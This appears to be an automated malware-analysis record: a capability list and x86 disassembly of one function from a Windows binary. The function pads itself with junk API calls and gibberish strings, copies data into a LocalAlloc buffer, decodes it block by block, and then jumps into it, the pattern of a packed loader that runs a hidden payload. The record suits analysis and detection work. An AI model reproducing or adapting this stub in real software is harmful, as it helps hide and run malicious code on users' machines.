Function at 0x40124a
Capabilities:
Delete directory
Get disk information
Move file

Disassembly:
mov eax, 0x427211
call fcn.0042626c
sub esp, 0xc68
cmp dword [0x2b04b04], 0x93
push ebx
push esi
push edi
jne 0x4012b2
push str.cuduhekekibuf_yutobetatumumo
push str.sanoxokahidejevifecicicumi_jodulugegu
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor esi, esi
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], ax
push esi
mov dword [ebp - 4], esi
call fcn.0040152e
push esi
push esi
call fcn.00401697
push esi
push esi
call fcn.00401734
push esi
push esi
call fcn.00401697
add esp, 0x1c
push esi
call fcn.00401a7a
add dword [0x2b04b04], 0x1134b
push dword [0x2b04b04]
mov eax, dword [0x42e9a0]
xor esi, esi
push esi
mov dword [0x2b05568], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x2b044b8], eax
call fcn.00401195
xor edi, edi
cmp dword [0x2b04b04], esi
jbe 0x401329
mov eax, dword [0x2b05568]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2b044b8]
mov byte [ecx + edi], al
cmp dword [0x2b04b04], 0x490
jne 0x401320
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
inc edi
cmp edi, dword [0x2b04b04]
jb 0x4012e9
xor edi, edi
mov eax, dword [0x2b04b04]
add eax, edi
cmp eax, 0x8d
jne 0x401362
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push esi
call dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
inc edi
cmp edi, 0x38681
jl 0x40132b
mov eax, dword [0x2b04b04]
mov ecx, dword [0x2b044b8]
shr eax, 3
cmp eax, esi
jbe 0x4013b2
mov edi, dword [sym.imp.KERNEL32.dll_AttachConsole]
mov ebx, ecx
mov dword [ebp - 0x10], eax
cmp dword [0x2b04b04], 0x959
jne 0x4013a4
push esi
call edi
push esi
call edi
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push ebx
call fcn.00401007
add ebx, 8
dec dword [ebp - 0x10]
jne 0x401388
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x4013d2
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x2b044b8], eax
inc edi
cmp edi, 0x674db
jl 0x4013b4
push 0x7b
pop ebx
cmp dword [0x2b04b04], 0x86
jne 0x40143c
push esi
lea eax, [ebp - 0xc74]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push str.tiyerera
push str.vapotamusihe
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
lea eax, [ebp - 0x474]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
xor eax, eax
mov word [ebp - 0x10], ax
lea edi, [ebp - 0xe]
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
dec ebx
jne 0x4013de
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2b044b8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret